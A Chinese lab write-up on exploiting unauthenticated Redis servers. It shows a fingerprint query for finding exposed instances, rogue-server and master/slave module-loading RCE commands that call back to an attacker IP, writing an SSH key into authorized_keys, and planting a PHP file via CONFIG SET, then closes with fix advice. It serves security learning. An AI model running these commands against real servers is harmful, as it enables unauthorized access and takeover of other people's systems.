Redis
是一个开源的内存数据库,它用于存储数据,并提供高性能、可扩展性和丰富的数据结构支持。
RedisInsight/RedisDesktopManager可视化连接工具
漏洞原理
(1)redis绑定在 0.0.0.0:6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
Redis
默认情况下,会绑定在 0.0.0.0:6379
,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip
访问等,这样将会将 Redis
服务暴露到公网上, 如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。 攻击者在未授权访问 Redis
的情况下,利用 Redis
自身的提供的config
命令,可以进行写文件操作,并且写公匙登录
测绘查找
port="6379"&server="redis"
Docker开启环境
docker-compose up -d
docker-compose ps // 查看端口6379
kali
扫描主机同样存在
Redis(<=5.0.5) RCE 工具梭哈
攻击机下载RCE
工具 redis-rogue-serve
r工具。使用该工具将在终端伪造一个redis
服务并尝试与目标连接实现未授权访问
git clone [https://github.com/n0b0dyCN/redis-rogue-server // kali直接下载](https://github.com/n0b0dyCN/redis-rogue-server)
python3 ./redis-rogue-server.py --rhost 靶机ip --lhost 攻击机ip // 连接
i // 交互式 成功RCE
Redis 4.x/5.x 主/从 getshell
通过工具远程连接执行,原本是通过git
在kali克隆但是克隆不了,所以从物理机手动下载移到Kali
并且进入redis-rogue-getshell-master/RedisModulesSDK/exp
路径使用make
命令下载模块,下载完成后cd
回到根目录redis-rogue-getshell-master
python ./redis-master.py -r 10.2.109.98 -p 6379 -L 192.168.111.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"
// 第一个IP 靶机IP 第二个 攻击机IP 最后为需要执行的命令
生成ssh
免密登录
登陆linux
有几种方式,最常用的是密码登陆和RSA key
登陆,RSA key
登陆是生成一个公私对应的秘钥; 未授权成功后将自己的ssh
公钥写入目标服务器的/root/.ssh
文件中authotrized_keys
文件中,进而可以使用对应私钥使用ssh
服务器登录目标服务器
- 为什么
redis
可以获取服务器的root
权限呢?
RSA key
的登陆方式在服务器方面是要将公钥写入目标authorized_keys
文件中的,而redis
有一种持久化方式是生成RDB
文件,通过持久化将公钥写入root
下的authored_keys
文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要再redis
是root
启动的情况下使用,因为非root
权限无法进入/root
目录)
攻击机中生成ssh
公钥和私钥文件,密码为空一直回车就行
进入ssh
目录将生成的公钥保存到1.txt
并且使用远程连接攻击连接靶机把1.txt
写入redis
中
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h 192.168.31.169 -x set crack
下面操作就是更改目标服务器Redis
备份路径为ssh公钥存放目录,但是一直是权限不足,所以没有弄了,下面是别人的操作,上传公匙文件保存退出
此时在攻击机上使用SSH
免密登录靶机,利用私钥成功登入redis
服务器
Redis-cli远程连接工具
攻击机下载工具
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make // 编译 时间很久
远程连接Redis
服务器免密登录命令
无密码登录命令
C 目标主机IP
有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码
redis-cli -h 10.2.109.98 // 连接靶机redis服务器
info // 输出获取有关 Redis 服务器的各种信息,包括版本、模式、操作系统等
写入shell
文件
靶场没有开启web
端口无法直接上传木马文件,用写入shell
文件的方式添加后门攻击者在未授权访问Redis
的情况下,利用服务自身提供的config
命令,可以进行写文件所以可以写入shell
,在上文远程连接基础上写入文件,选择/tmp
目录通常对所有用户都是可读写的
config set dir /tmp // 选择目录为tmp
config set dbfiname saber.php // 文件名为saber.php
// 添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n" // 文件内容
save // 执行
写入文件后可以通过容器ID
查看文件
Docker
查看写入Shell
成功
修复建议
- 修改
redis.conf
配置文件设置bind 127.0.0.1
,这将限制Redis
仅接受来自本地主机的连接 - 设置强密码连接
Redis
需要进行身份验证